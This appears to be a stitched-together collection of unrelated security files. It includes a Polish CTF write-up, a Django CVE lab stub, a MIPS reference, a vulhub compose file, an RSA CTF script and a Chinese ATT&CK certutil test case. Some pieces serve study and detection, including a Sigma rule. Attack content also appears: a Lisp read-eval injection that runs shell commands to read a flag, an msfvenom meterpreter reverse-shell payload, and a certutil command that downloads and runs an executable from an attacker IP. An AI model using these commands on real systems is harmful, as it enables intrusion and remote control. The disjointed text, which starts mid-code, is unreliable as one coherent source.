text #\ESC))
(defun play-game ()
"Returns 1 if player won and wishes to continue, 0 otherwise"
(loop named main
with directions = '((q . -65) (w . -64) (e . -63) (a . -1)
(d . 1) (z . 63) (x . 64) (c . 65))
for pos = 544
then (progn (format t
"~%~{~a/~a/~a to move, (~a)eleport, (~a)eave: ~}"
(mapcar (lambda (x) (colorize 'blue x)) '("qwe" "asd" "zxc" "t" "l")))
(force-output)
(let* ((c (read))
(d (assoc c directions)))
(cond (d (+ pos (cdr d)))
((eq 't c) (random 1024))
((eq 'l c) (progn
(format t (colorize 'yellow "Good-bye!"))
(return-from main 0)))
(t pos))))
for monsters = (loop repeat 40
collect (random 1024))
then (loop for mpos in monsters
collect (if (> (count mpos monsters) 1)
mpos
(cdar (sort (loop for (k . d) in directions
for new-mpos = (+ mpos d)
collect (cons (+ (abs (- (mod new-mpos 64)
(mod pos 64)))
(abs (- (ash new-mpos -6)
(ash pos -6))))
new-mpos))
'<
:key #'car))))
do (progn
(format t
"~a~%�~{~<�~%�~,650:;~a~>~}�~a"
(format nil "~%-~{~<-~%-~,650:;~64,1,1,'=A~>~}�" '("? GAME ?"))
(loop for p
below 1024
collect (cond ((member p monsters)
(cond ((= p pos) (return-from main (fail)))
((> (count p monsters) 1) (colorize 'yellow #\?))
(t (colorize 'red #\?))))
((= p pos)
(colorize 'green #\�))
(t (colorize 'gray #\ ))))
(format nil "~%L~{~<-~%-~,650:;~64,1,1,'=A~>~}-" '("")))
)
when (loop for mpos in monsters
always (> (count mpos monsters) 1))
return (win)
))
(handler-case
(loop while (= (play-game) 1))
(error (e) (write-line "Invalid command")))
```
Następnie zaczęliśmy analizę kodu w poszukiwaniu podatności.
W kodzie są tylko 3 miejsca gdzie podajemy jakieś dane więc skupiliśmy się na nich.
Dane są wczytywane za pomocą funkcji `read` więc szukaliśmy informacji na temat exploitowaniu jej.
Trafiliśmy na: http://irreal.org/blog/?p=638
I to było dokładnie to czego potrzebowaliśmy!
Wysyłając:
```
#.(lisp_code)
```
Dostajemy remote code execution.
Następnie sprawdziliśmy jak wykonywać komendy shell z poziomu LISPa i wysłaliśmy:
```
#.(run-shell-command "ls")
```
Aby znaleźć falgę w `/getflag/flag` oraz program `getflag/read_flag` z uprawnieniami do odczytania flagi;
Uruchamiamy go:
```
#.(run-shell-command "./getflag/read_flag")
```
Aby odczytać flagę
|
sec-knowleage
|
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cve201914234.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
|
sec-knowleage
|
.\" Copyright (c) 1998 The NetBSD Foundation, Inc.
.\" All rights reserved.
.\"
.\" This documentation is derived from software contributed to The NetBSD
.\" Foundation by Matthias Scheler.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the NetBSD
.\" Foundation, Inc. and its contributors.
.\" 4. Neither the name of The NetBSD Foundation nor the names of its
.\" contributors may be used to endorse or promote products derived
.\" from this software without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
.\" ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
.\" TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
.\" PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
.\" BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
.\" CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
.\" SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
.\" INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
.\" CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
.\" ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
.\" POSSIBILITY OF SUCH DAMAGE.
.\"
.\" Copyright (c) 1999 by Internet Software Consortium
.\"
.\" Permission to use, copy, modify, and distribute this software for any
.\" purpose with or without fee is hereby granted, provided that the above
.\" copyright notice and this permission notice appear in all copies.
.\"
.\" THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS
.\" ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
.\" OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE
.\" CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
.\" DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
.\" PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
.\" ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
.\" SOFTWARE.
.TH named-bootconf 8 "1998年11月19日" "NAMED-BOOTCONF 8" "NetBSD"
.SH NAME
.B named-bootconf
转换名字服务器的配置文件
.SH 总览
.B named-bootconf
.SH 描述
.B named-bootconf
把名字服务器的配置文件从 BIND 4 格式转换为 BIND 8 格式。
.SH 范例
.B named-bootconf < named.boot > named.conf
.SH 臭虫
原文件中含有的注释部分在目标文件中的相应位置不一定完全一样。
.SH 参见
.PP
\fBnamed\fR(8),
\fBnamed.conf\fR(5)
.SH "[中文版维护人]"
.B meaculpa <email:meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2001/05/01
.SH 《中国Linux论坛man手册页翻译计划》:
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# MIPS
## MIPS 基础内容
这里以 MIPS32 为基础作为介绍内容。
## 0x01 寄存器
### (1)通用寄存器
MIPS 有 32 个通用寄存器 (General purpose registers),以美元符号 (`$`) 表示。可以表示为 `$0~$31`,也可以用寄存器名称表示如,`$sp` 、 `$t9` 、`$fp` 等等。
| Register Number | Conventional Name | Usage | Usage |
| --------------- | ----------------- | ------------------------------------------------------ | --------------------------------------------------------- |
| $0 | $zero | Hard-wired to 0 | |
| $1 | $at | Reserved for pseudo-instructions | |
| $2 - $3 | $v0, $v1 | Return values from functions | 保存表达式或者函数返回值 |
| $4 - $7 | $a0 - $a3 | Arguments to functions - not preserved by subprograms | 函数的参数 |
| $8 - $15 | $t0 - $t7 | Temporary data, not preserved by subprograms | |
| $16 - $23 | $s0 - $s7 | Saved registers, preserved by subprograms | |
| $24 - $25 | $t8 - $t9 | More temporary registers, not preserved by subprograms | 临时寄存器,作为 $t0 - $t7 的补充,$t9 通常与调用函数有关 |
| $26 - $27 | $k0 - $k1 | Reserved for kernel. Do not use. | |
| $28 | $gp | Global Area Pointer (base of global data segment) | |
MIPS 作为一种 load-store 架构,意味着当我们要访问内存必须要通过加载和存储指令才能访问。所有其他指令(add,sub,mul,div等等)必须从寄存器获取其操作数并将其结果存储在寄存器中。例如下面的例子:
```
sum = x + y
```
我们假设 sum 和 x , y 是程序中的变量,其 MIPS 汇编表示为:
```
# sum = x + y
lw $t0, x # Load x from memory into a CPU register
lw $t1, y # Load y from memory into a CPU register
add $t0, $t0, $t1 # Add x and y
sw $t0, sum # Store the result from the CPU register to memory
```
### (2)特殊寄存器
MIPS32 架构还定义了3个特殊寄存器,分别是 PC(程序计数器)、HI (乘除结果高位寄存器)和 LO (乘除结果低位寄存器)。在进行乘运算的时候,HI 和 LO 保存乘法的结果,其中 HI 保存高32位,LO 保存低32位。而在除法运算中,HI 保存余数,LO 保存商。
## 0x2 指令 Instruction
**ADD – Add (with overflow)**
| Description: | Adds two registers and stores the result in a register |
| ------------ | ------------------------------------------------------ |
| Operation: | $d = $s + $t; advance_pc (4); |
| Syntax: | add $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 0000` |
**ADDI -- Add immediate (with overflow)**
| Description: | Adds a register and a sign-extended immediate value and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = $s + imm; advance_pc (4); |
| Syntax: | addi $t, $s, imm |
| Encoding: | `0010 00ss ssst tttt iiii iiii iiii iiii` |
**ADDIU -- Add immediate unsigned (no overflow)**
| Description: | Adds a register and a sign-extended immediate value and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = $s + imm; advance_pc (4); |
| Syntax: | addiu $t, $s, imm |
| Encoding: | `0010 01ss ssst tttt iiii iiii iiii iiii` |
**ADDU -- Add unsigned (no overflow)**
| Description: | Adds two registers and stores the result in a register |
| ------------ | ------------------------------------------------------ |
| Operation: | $d = $s + $t; advance_pc (4); |
| Syntax: | addu $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 0001` |
**AND -- Bitwise and**
| Description: | Bitwise ands two registers and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $s & $t; advance_pc (4); |
| Syntax: | and $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 0100` |
**ANDI -- Bitwise and immediate**
| Description: | Bitwise ands a register and an immediate value and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = $s & imm; advance_pc (4); |
| Syntax: | andi $t, $s, imm |
| Encoding: | `0011 00ss ssst tttt iiii iiii iiii iiii` |
**BEQ -- Branch on equal**
| Description: | Branches if the two registers are equal |
| ------------ | ----------------------------------------------------------- |
| Operation: | if $s == $t advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | beq $s, $t, offset |
| Encoding: | `0001 00ss ssst tttt iiii iiii iiii iiii` |
**BGEZ -- Branch on greater than or equal to zero**
| Description: | Branches if the register is greater than or equal to zero |
| ------------ | ---------------------------------------------------------- |
| Operation: | if $s >= 0 advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | bgez $s, offset |
| Encoding: | `0000 01ss sss0 0001 iiii iiii iiii iiii` |
**BGEZAL -- Branch on greater than or equal to zero and link**
| Description: | Branches if the register is greater than or equal to zero and saves the return address in $31 |
| ------------ | ------------------------------------------------------------ |
| Operation: | if $s >= 0 $31 = PC + 8 (or nPC + 4); advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | bgezal $s, offset |
| Encoding: | `0000 01ss sss1 0001 iiii iiii iiii iiii` |
**BGTZ -- Branch on greater than zero**
| Description: | Branches if the register is greater than zero |
| ------------ | --------------------------------------------------------- |
| Operation: | if $s > 0 advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | bgtz $s, offset |
| Encoding: | `0001 11ss sss0 0000 iiii iiii iiii iiii` |
**BLEZ -- Branch on less than or equal to zero**
| Description: | Branches if the register is less than or equal to zero |
| ------------ | ---------------------------------------------------------- |
| Operation: | if $s <= 0 advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | blez $s, offset |
| Encoding: | `0001 10ss sss0 0000 iiii iiii iiii iiii` |
**BLTZ -- Branch on less than zero**
| Description: | Branches if the register is less than zero |
| ------------ | --------------------------------------------------------- |
| Operation: | if $s < 0 advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | bltz $s, offset |
| Encoding: | `0000 01ss sss0 0000 iiii iiii iiii iiii` |
**BLTZAL -- Branch on less than zero and link**
| Description: | Branches if the register is less than zero and saves the return address in $31 |
| ------------ | ------------------------------------------------------------ |
| Operation: | if $s < 0 $31 = PC + 8 (or nPC + 4); advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | bltzal $s, offset |
| Encoding: | `0000 01ss sss1 0000 iiii iiii iiii iiii` |
BNE -- Branch on not equal
| Description: | Branches if the two registers are not equal |
| ------------ | ----------------------------------------------------------- |
| Operation: | if $s != $t advance_pc (offset << 2)); else advance_pc (4); |
| Syntax: | bne $s, $t, offset |
| Encoding: | `0001 01ss ssst tttt iiii iiii iiii iiii` |
**DIV -- Divide**
| Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI |
| ------------ | ------------------------------------------------------------ |
| Operation: | $LO = $s / $t; $HI = $s % $t; advance_pc (4); |
| Syntax: | div $s, $t |
| Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1010` |
**DIVU -- Divide unsigned**
| Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI |
| ------------ | ------------------------------------------------------------ |
| Operation: | $LO = $s / $t; $HI = $s % $t; advance_pc (4); |
| Syntax: | divu $s, $t |
| Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1011` |
**J -- Jump**
| Description: | Jumps to the calculated address |
| ------------ | --------------------------------------------------- |
| Operation: | PC = nPC; nPC = (PC & 0xf0000000) \| (target << 2); |
| Syntax: | j target |
| Encoding: | `0000 10ii iiii iiii iiii iiii iiii iiii` |
**JAL -- Jump and link**
| Description: | Jumps to the calculated address and stores the return address in $31 |
| ------------ | ------------------------------------------------------------ |
| Operation: | $31 = PC + 8 (or nPC + 4); PC = nPC; nPC = (PC & 0xf0000000) \| (target << 2); |
| Syntax: | jal target |
| Encoding: | `0000 11ii iiii iiii iiii iiii iiii iiii` |
**JR -- Jump register**
| Description: | Jump to the address contained in register $s |
| ------------ | -------------------------------------------- |
| Operation: | PC = nPC; nPC = $s; |
| Syntax: | jr $s |
| Encoding: | `0000 00ss sss0 0000 0000 0000 0000 1000` |
**LB -- Load byte**
| Description: | A byte is loaded into a register from the specified address. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = MEM[$s + offset]; advance_pc (4); |
| Syntax: | lb $t, offset($s) |
| Encoding: | `1000 00ss ssst tttt iiii iiii iiii iiii` |
**LUI -- Load upper immediate**
| Description: | The immediate value is shifted left 16 bits and stored in the register. The lower 16 bits are zeroes. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = (imm << 16); advance_pc (4); |
| Syntax: | lui $t, imm |
| Encoding: | `0011 11-- ---t tttt iiii iiii iiii iiii` |
**LW -- Load word**
| Description: | A word is loaded into a register from the specified address. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = MEM[$s + offset]; advance_pc (4); |
| Syntax: | lw $t, offset($s) |
| Encoding: | `1000 11ss ssst tttt iiii iiii iiii iiii` |
**MFHI -- Move from HI**
| Description: | The contents of register HI are moved to the specified register. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $HI; advance_pc (4); |
| Syntax: | mfhi $d |
| Encoding: | `0000 0000 0000 0000 dddd d000 0001 0000` |
**MFLO -- Move from LO**
| Description: | The contents of register LO are moved to the specified register. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $LO; advance_pc (4); |
| Syntax: | mflo $d |
| Encoding: | `0000 0000 0000 0000 dddd d000 0001 0010` |
**MULT -- Multiply**
| Description: | Multiplies $s by $t and stores the result in $LO. |
| ------------ | ------------------------------------------------- |
| Operation: | $LO = $s * $t; advance_pc (4); |
| Syntax: | mult $s, $t |
| Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1000` |
**MULTU -- Multiply unsigned**
| Description: | Multiplies $s by $t and stores the result in $LO. |
| ------------ | ------------------------------------------------- |
| Operation: | $LO = $s * $t; advance_pc (4); |
| Syntax: | multu $s, $t |
| Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1001` |
**NOOP -- no operation**
| Description: | Performs no operation. |
| ------------ | ----------------------------------------- |
| Operation: | advance_pc (4); |
| Syntax: | noop |
| Encoding: | `0000 0000 0000 0000 0000 0000 0000 0000` |
Note: The encoding for a NOOP represents the instruction SLL $0, $0, 0 which has no side effects. In fact, nearly every instruction that has $0 as its destination register will have no side effect and can thus be considered a NOOP instruction.
**OR -- Bitwise or**
| Description: | Bitwise logical ors two registers and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $s \| $t; advance_pc (4); |
| Syntax: | or $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 0101` |
**ORI -- Bitwise or immediate**
| Description: | Bitwise ors a register and an immediate value and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = $s \| imm; advance_pc (4); |
| Syntax: | ori $t, $s, imm |
| Encoding: | `0011 01ss ssst tttt iiii iiii iiii iiii` |
**SB -- Store byte**
| Description: | The least significant byte of $t is stored at the specified address. |
| ------------ | ------------------------------------------------------------ |
| Operation: | MEM[$s + offset] = (0xff & $t); advance_pc (4); |
| Syntax: | sb $t, offset($s) |
| Encoding: | `1010 00ss ssst tttt iiii iiii iiii iiii` |
**SLL -- Shift left logical**
| Description: | Shifts a register value left by the shift amount listed in the instruction and places the result in a third register. Zeroes are shifted in. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $t << h; advance_pc (4); |
| Syntax: | sll $d, $t, h |
| Encoding: | `0000 00ss ssst tttt dddd dhhh hh00 0000` |
**SLLV -- Shift left logical variable**
| Description: | Shifts a register value left by the value in a second register and places the result in a third register. Zeroes are shifted in. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $t << $s; advance_pc (4); |
| Syntax: | sllv $d, $t, $s |
| Encoding: | `0000 00ss ssst tttt dddd d--- --00 0100` |
**SLT -- Set on less than (signed)**
| Description: | If $s is less than $t, $d is set to one. It gets zero otherwise. |
| ------------ | ------------------------------------------------------------ |
| Operation: | if $s < $t $d = 1; advance_pc (4); else $d = 0; advance_pc (4); |
| Syntax: | slt $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 1010` |
**SLTI -- Set on less than immediate (signed)**
| Description: | If $s is less than immediate, $t is set to one. It gets zero otherwise. |
| ------------ | ------------------------------------------------------------ |
| Operation: | if $s < imm $t = 1; advance_pc (4); else $t = 0; advance_pc (4); |
| Syntax: | slti $t, $s, imm |
| Encoding: | `0010 10ss ssst tttt iiii iiii iiii iiii` |
**SLTIU -- Set on less than immediate unsigned**
| Description: | If $s is less than the unsigned immediate, $t is set to one. It gets zero otherwise. |
| ------------ | ------------------------------------------------------------ |
| Operation: | if $s < imm $t = 1; advance_pc (4); else $t = 0; advance_pc (4); |
| Syntax: | sltiu $t, $s, imm |
| Encoding: | `0010 11ss ssst tttt iiii iiii iiii iiii` |
**SLTU -- Set on less than unsigned**
| Description: | If $s is less than $t, $d is set to one. It gets zero otherwise. |
| ------------ | ------------------------------------------------------------ |
| Operation: | if $s < $t $d = 1; advance_pc (4); else $d = 0; advance_pc (4); |
| Syntax: | sltu $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 1011` |
**SRA -- Shift right arithmetic**
| Description: | Shifts a register value right by the shift amount (shamt) and places the value in the destination register. The sign bit is shifted in. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $t >> h; advance_pc (4); |
| Syntax: | sra $d, $t, h |
| Encoding: | `0000 00-- ---t tttt dddd dhhh hh00 0011` |
**SRL -- Shift right logical**
| Description: | Shifts a register value right by the shift amount (shamt) and places the value in the destination register. Zeroes are shifted in. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $t >> h; advance_pc (4); |
| Syntax: | srl $d, $t, h |
| Encoding: | `0000 00-- ---t tttt dddd dhhh hh00 0010` |
**SRLV -- Shift right logical variable**
| Description: | Shifts a register value right by the amount specified in $s and places the value in the destination register. Zeroes are shifted in. |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $t >> $s; advance_pc (4); |
| Syntax: | srlv $d, $t, $s |
| Encoding: | `0000 00ss ssst tttt dddd d000 0000 0110` |
**SUB -- Subtract**
| Description: | Subtracts two registers and stores the result in a register |
| ------------ | ----------------------------------------------------------- |
| Operation: | $d = $s - $t; advance_pc (4); |
| Syntax: | sub $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 0010` |
**SUBU -- Subtract unsigned**
| Description: | Subtracts two registers and stores the result in a register |
| ------------ | ----------------------------------------------------------- |
| Operation: | $d = $s - $t; advance_pc (4); |
| Syntax: | subu $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d000 0010 0011` |
**SW -- Store word**
| Description: | The contents of $t is stored at the specified address. |
| ------------ | ------------------------------------------------------ |
| Operation: | MEM[$s + offset] = $t; advance_pc (4); |
| Syntax: | sw $t, offset($s) |
| Encoding: | `1010 11ss ssst tttt iiii iiii iiii iiii` |
**SYSCALL -- System call**
| Description: | Generates a software interrupt. |
| ------------ | ----------------------------------------- |
| Operation: | advance_pc (4); |
| Syntax: | syscall |
| Encoding: | `0000 00-- ---- ---- ---- ---- --00 1100` |
**XOR -- Bitwise exclusive or**
| Description: | Exclusive ors two registers and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $d = $s ^ $t; advance_pc (4); |
| Syntax: | xor $d, $s, $t |
| Encoding: | `0000 00ss ssst tttt dddd d--- --10 0110` |
**XORI -- Bitwise exclusive or immediate**
| Description: | Bitwise exclusive ors a register and an immediate value and stores the result in a register |
| ------------ | ------------------------------------------------------------ |
| Operation: | $t = $s ^ imm; advance_pc (4); |
| Syntax: | xori $t, $s, imm |
| Encoding: | `0011 10ss ssst tttt iiii iiii iiii iiii` |
## 参考链接
[MIPS Instruction Reference](http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html)
|
sec-knowleage
|
version: '3.5'
services:
oap:
image: vulhub/skywalking:8.3.0
command: bash bin/oap-service.sh
web:
image: vulhub/skywalking:8.3.0
command: bash bin/web-server.sh
depends_on:
- oap
ports:
- 8080:8080
environment:
COLLECTOR_RIBBON_LISTOFSERVERS: oap:12800
|
sec-knowleage
|
require 'json'
def extgcd(a,b)
return [1,0] if b == 0
y,x = extgcd(b, a % b)
y -= (a/b)*x
return [x,y]
end
def mod_inverse(a, mod)
x,y = extgcd(a, mod)
return x % mod
end
def check_prime(p, count = nil)
return true if [2,3].include?(p)
return false if p.even? || p < 2
d, s = p - 1, 0
d, s = d >> 1, s + 1 while d.even?
count = [16, p.to_s(4).size].max unless count
count.times do
a = rand(2...(p - 1))
return false if p.gcd(a) != 1
if (x = mod_pow(a, d, p)) != 1
return false unless (0...s).inject(false) do |res, r|
break true if(x == p - 1)
x = x * x % p
next false
end
end
end
return true
end
def mod_pow(a, n, mod)
ret = 1
while n > 0
ret = (ret * a) % mod if n.odd?
a = (a * a) % mod
n >>= 1
end
ret
end
def next_prime(x)
while !check_prime(x)
x += 1
end
x
end
p = rand(2**1024)
q = 19 * p + rand(2**512)
p = next_prime(p)
q = next_prime(q)
e = 65537
d = mod_inverse(e, (p - 1) * (q - 1))
n = (p.to_i * q.to_i)
flag = File.binread('flag').unpack1("H*").to_i(16) * 256
while flag * 256 + 255 < n
flag = flag * 256 + rand(256)
end
enc = mod_pow(flag, e, n)
dec = mod_pow(enc, d, n)
fail unless dec == flag
File.write('pubkey', [n, e].to_json)
File.write('flag.enc', enc)
File.write('privkey', [n, d].to_json)
|
sec-knowleage
|
## The hidden message (Misc, 50p)
My friend really can't remember passwords. So he uses some kind of obfuscation. Can you
restore the plaintext?
###ENG
[PL](#pl-version)
This was a really trivial task. Given text consisted of base-8 numbers, which interpreted as
ASCII yielded base64-encoded string. Reversing the encoding, we get the flag.
###PL version
Proste zadanie, polegające na zinterpretowaniu liczb w systemie ósemkowym jako kody znaków ASCII,
a następnie odkodowanie powstałego tekstu za pomocą base64.
|
sec-knowleage
|
## **********漏洞
> *****发表于2015年03月11日
### 漏洞描述
### 影响范围
### 漏洞详情
#### 漏洞位置
#### 漏洞触发条件
#### 漏洞原理
### poc/exp
### 漏洞修复建议
|
sec-knowleage
|
## 网络应用
|Web Applications||||||
|:-:|:-:|:-:|:-:|:-:|:-:|
|[apache-users](apache-users.md)|Arachni|BBQSQL|BlindElephant|[Burp Suite](BurpSuite.md)|CutyCapt|
|DAVTest|deblaze|DIRB|DirBuster|fimap|FunkLoad|
|Gobuster|Grabber|jboss-autopwn|joomscan|jSQL|Maltego Teeth|
|PadBuster|Paros|Parsero|plecost|Powerfuzzer|ProxyStrike|
|Recon-ng|Skipfish|[sqlmap](splmap.md)|Sqlninja|sqlsus|ua-tester|
|Uniscan|Vega|[w3af](w3af.md)|WebScarab|Webshag|WebSlayer|
|WebSploit|Wfuzz|WPScan|XSSer|zaproxy||
|
sec-knowleage
|
# T1059-win-基于白名单Certutil.exe执行Payload
## 来自ATT&CK的描述
暂无合适分类,置放在此TID中
命令行界面是与计算机系统交互的一种方式,并且是很多操作系统平台的常见特性。例如,Windows系统上的命令行界面cmd可用于执行许多任务,包括执行其他软件。命令行界面可在本地交互或者通过远程桌面应用、反向shell会话等远程交互。执行的命令以命令行界面进程的当前权限级别运行,除非该命令需要调用进程来更改权限上下文(例如,定时任务)。
攻击者可能会使用命令行界面与系统交互并在操作过程中执行其他软件。
## 测试案例
Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目标计算机上执行恶意EXE文件,并获取meterpreter会话。
补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。
## 检测日志
windows 安全日志/SYSMON日志(需要自行安装)
## 测试复现
### 环境准备
攻击机:Kali2019
靶机:win7(sysmon)
### 攻击分析
#### 生成payload.exe
通过msfvenom 生成恶意可执行文件,并使用start multi/handler获取目标计算机反向shell会话。
```bash
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.146 lport=1234 -f exe > shell.exe
```
#### 执行监听
```bash
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.126.146:1234
```
#### 开启小型http服务
```bash
root@12306Br0:~# python2 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```
#### 靶机执行payload
```dos
certutil.exe -urlcache -split -f http://192.168.126.146:1234/shell.exe shell.exe & shell.exe
```
#### 反弹shell
```bash
[*] Started reverse TCP handler on 192.168.126.146:1234
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49172) at 2020-04-17 15:59:50 +0800
```
## 测试留痕
```log
#sysmon日志
EventID: 1
Image: C:\Windows\System32\certutil.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: CertUtil.exe
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: CertUtil.exe
CommandLine: certutil.exe -urlcache -split -f http://192.168.126.146:1234/shell.exe shell.exe
#win7安全日志
EventID:4688
进程信息:
新进程 ID:0xbcc
新进程名: C:\Windows\System32\certutil.exe
#windows server 2008(不含2008)以上系统可以配置审核进程创建策略,达到记录命令行参数的效果。通过命令行参数进行监控分析。
```
## 检测规则/思路
### sigma规则
```yml
title: 可疑的Certutil命令
status: experimental
description: 使用诸如“decode”子命令之类的子命令检测可疑的Microsoft certutil执行,该子命令有时用于使用内置的certutil实用程序
references:
- https://twitter.com/JohnLaTwC/status/835149808817991680
- https://twitter.com/subTee/status/888102593838362624
- https://twitter.com/subTee/status/888071631528235010
- https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/
- https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/
- https://twitter.com/egre55/status/1087685529016193025
- https://lolbas-project.github.io/lolbas/Binaries/Certutil/
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine:
- '* -decode *'
- '* /decode *'
- '* -decodehex *'
- '* /decodehex *'
- '* -urlcache *'
- '* /urlcache *'
- '* -verifyctl *'
- '* /verifyctl *'
- '* -encode *'
- '* /encode *'
- '*certutil* -URL*'
- '*certutil* /URL*'
- '*certutil* -ping*'
- '*certutil* /ping*'
condition: selection
fields:
- CommandLine
- ParentCommandLine
tags:
- attack.defense_evasion
- attack.t1140
- attack.t1105
- attack.t1059
- attack.s0189
- attack.g0007
falsepositives:
- False positives depend on scripts and administrative tools used in the monitored environment
level: high
```
### 建议
根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略Sysmon。
## 参考推荐
MITRE-ATT&CK-T1059
<https://attack.mitre.org/techniques/T1059/>
|
sec-knowleage
|
// +--+ ummmfpu
// +--+ Teaser Dragon CTF 2019
// +--+ by Gynvael Coldwind
// +--+ HF GL!
//
// Arduino UNO uM-FPU (PDIP-18)
// 13 (SCK) ----- (SCLK) 16
// 11 (MOSI) ----- (SIN) 12
// 12 (MISO) ----- (SOUT) 11
// 7 (input) ----- (SOUT) 11
//
#include <SPI.h>
#include <Fpu.h>
#include <FpuSerial.h>
#include "generated.h"
void goodbye() {
for (;;);
}
// Makes sure FPU is not busy.
void fpu_wait() {
// Wait at least Minimum Data Period (1.6us) before checking the Ready/Busy pin.
delayMicroseconds(3);
while (digitalRead(7) == 1) {
delayMicroseconds(100);
}
}
